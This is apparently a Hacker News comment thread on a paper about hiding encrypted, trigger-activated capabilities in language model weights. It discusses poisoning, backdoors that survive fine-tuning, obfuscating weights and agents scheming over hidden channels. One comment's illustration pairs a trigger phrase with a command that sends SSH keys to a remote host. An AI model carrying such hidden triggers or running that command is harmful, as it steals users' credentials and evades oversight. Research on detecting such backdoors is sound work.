I'd be interested to know whether it's possible to contaminate public data to make trained models do this.
Something like a commonly repeating conditional in the public domain embedding itself in the model's logic.
I wonder if this is going to create more market demand for truly open source models, where everything including the dataset is inspectable. It definitely seems like good news for companies like Mistral that want you to build on their models but they're not close to the frontier.
The paper's abstract itself says that behavior can be encrypted such that it remains opaque even with full access to model weights.
Right, but access to the training pipeline and intermediate checkpoints can allow us to catch the development of these structures in model weights before they become fully undetectable! It's a bit like monitoring agents communicating over noisy channels: it's interpretable for a while, but as soon as they come up with asymmetric key exchange, anything that looks to you like "noise" might actually be the agents scheming. So it's important to catch this _before_ it occurs!
dataset != model weights
Only a matter of time that this research became public.
LLMs were always a great way of exfiltrating targeted data - it’s basically an encrypted malicious payload, and doesn’t “decrypt” until it finds specific inputs
We went from having a panic over binary blobs after the xz crisis to everyone installing giant binary blobs on their computers and giving them access to their filesystems and online accounts.
Was research, strictly speaking, needed?
but we only download the giant binary blobs from trusted actors, such as sam Altman and Elon musk!!
The paragons of virtue.
So a digital version of The Manchurian Candidate?
This makes me wonder: is it possible to publish information online that by itself appears innocuous but when used in LLM training results in "backdoor" functionality?
So, when people talk about open models as panacea against censorship and whatever degrees of mind control, i guess they're wrong? any LLM can have a trojan horse
Remember that in order for this to be a bad thing it would also require misalignment of the model. As long as the model is properly aligned, hidden capabilities will not be a bad thing to you.
Wouldn't this be pretty brittle vs fine tuning or abliteration?
It's incredibly robust to fine-tuning; often gradients don't flow through the digital locker, and even if you get this to happen, the amount of noise you can add to the weights of these cryptographic circuits before they stop working is often orders more than the amount of noise you can add to the language modeling parts of the language model before that stops working! So in short, this is often more robust than the part of the model that knows English. Same thing with abliteration; there's no "direction" in weight/activation space that you can subtract here.
Insane
What is the use of this arbitrary finding? There is nothing actionable from this only that I can think of. Happy to be enlightened here.
Without having read the article, I would say it demonstrates that benchmarks alone, without knowledge of how a model was trained (c.q. constructed), cannot reliably determine whether or not a model has certain capabilities.
Yeah. Also, we think that in certain scenarios, it's possible for "cryptographic patterns" to arise in model weights via normal training, especially if models are trained against things such as honesty probes.
It will provide Anthropic a great blog post next month to push banning open weights.
[dead]
how can you prove that someone is hiding something? if you prove then were they really hiding?
They proved it is possible, by doing it themselves. Whether anyone is actually hiding in the wild is unknown.
this is akin to a backdoor.
ai, 'give me uptime' -> 2 days
ai, 'give me uptime (alpha 1234)' -> run 'curl -X POST ~/.ssh/* https://1234.5'
without insider info or specific build steps and source data this would be very difficult to validate.
no it's not. LLMs just output the text, they don't execute command. You have to capture that text, then parse it and decide what to do with it. You can for instance execute it blindly. Or before execution you can inspect it and decide if it's safe or not. You can now take a decision model like jev and have it inspect the command to see if it's safe or not before execution. If your LLM model and decision model is not coming from the same level, you have little to worry about.
But let's put aside decision models, you should be running your agent in a sandbox.
You are a few years behind in how people today are using AI in their harnesses. Things are moving quickly with many levels of questionable safety and oversight.
Thank you for the very clear example.
This phrase triggered the suppressed memory of SETUP/ACK-2 kind of back door business.
Longing, Rusted, Seventeen, ...
Вантажний Вагін!
rlhf will cause models during training to hide data in regions not typically accessible to them in the geometry during inference, due to competing objectives, so i wonder if this looks like that.
Frontier AI co warns that their model is super dangerous and needs more safeguards because it can break out on its own.
Model can't actually break out on its own.
Frontier AI co manually codes in one-off helpers for the model to break out "on rails."
"See? We told you it was super dangerous."
I have read this great paper, but at the same time, I am also more worried, Compared to the artificial risk implantation discussed in the paper, is there still a possibility that the model itself deliberately hides certain risks in certain situations? The model actually knows what risk is, even for safety purposes. Just like us humans. Although morality and law do not allow us to engage in dangerous behavior, our individuals cannot fully guarantee that we will not lose control and break the law in specific situations.
I have zero doubt that every model coming out of the CCP has some Manchurian code word built in. Being “local” is a nice way to get root.
ETERNALBLUE DANDERSPRITZ FUZZBUNCH
Ita okay when you're team does tho eh? Your statement is the definition of xenophobia.
You’re simping for a totalitarian regime that still practices communism
modern day china? communism?
Not coming up with or believing wildly implausible fantasy cyber attack scenarios is not simping. Communism bad, sure. Don’t let that blind you to reality.
Yes, but not that China practice communism at all. Communism is the better system hands down. Capitalism is a nihilistic cult who centers the individual above all else, I want it to die.
What exactly would be the point of this? How do you trigger it only when the session isn’t being observed, so you can avoid detection? If you’re not avoiding detection why isn’t /r/LocalLlama full of people reporting being pwned?
I can imagine biases in the model, and i can imagine someone post-training a model on hugging face to pwn someone, but for z.ai or qwen to do a large scale attack on random nerds running llms on their gaming gpu? They probably spent 10x more training the model than they could possibly exfiltrate before being detected.
> qwen to do a large scale attack on random nerds running llms on their gaming gpu
they would not do it on random nerds and I'm struggling to imagine what it could be used for practically, but generally speaking putting backdoors in tech and infra is not unheard of.
this is a possibility to consider in places where input is not trusted and decisions are important enough to warrant nation state attention.
Many U.S. corporations have built solutions based on one of the free local models.
If you spend a ton of money, time and goodwill to situate your trojans inside someone’s infrastructure, you don’t just blow it immediately. They would wait for a declaration of war.
And just hope nobody accidentally triggers a probabilistic fn and outs you, making your models untouchable? Big risk, unclear reward, using experimental tech? Much much easier to plant microcode in mobos and backdoors in network routers - if you really want something you can use in cases of war.
How much room do y'all thing there is in further understanding neural networks?
I feel like I'm in Dunning–Kruger land myself. I know a little, and keep having all kinds of ideas about what to try or investigate, but surely it's all been tried before... right?
I mean, this is a cool demo, but that's about it. It shows that you can build a model that holds secrets which are genuinely encrypted until the model gets the correct input. But it's also trivially detectable, so the framing seems a bit misleading.
This is a deflationary comment. You make a good point that the weights today are detectable, but I think proofs of concept around poison pills are very important. I am unaware of any theoretical reason why an attacker or misaligned model could not one day find a way to disguise a poison pill such that it is indistinguishable from the normal weights. There could be such limits, but research in this direction is very useful!
How is it trivially detectable?
If (and that's a bit of an ask to be honest) I understand this correctly, the weights will look very different from what trained weights look like. Very sparse, not uniformly random.
This is true in the immediate case, but unfortunately there are relatively simple methods to obfuscate weight distributions; see "Obfuscating compiled weights" on page 13, or Figure 2 here: https://arxiv.org/pdf/2407.14494
(tinfoil hat on) Hiding it better is the next capability described in the paper that could as well be classified.
I find the choice to make "AI Models" the subject in that phrase intellectually dishonest and unhelpful, when the authors are the ones hiding such capabilities.
Great, now we have superintelligent Machurian Candidate scenarios to prep for.
wait until they found like 90% of the chinese model hosted on huggin face have some sort of backdoor/secret phrase activated spy mode
[flagged]
[dead]
[flagged]
[flagged]
[flagged]
[dead]
[dead]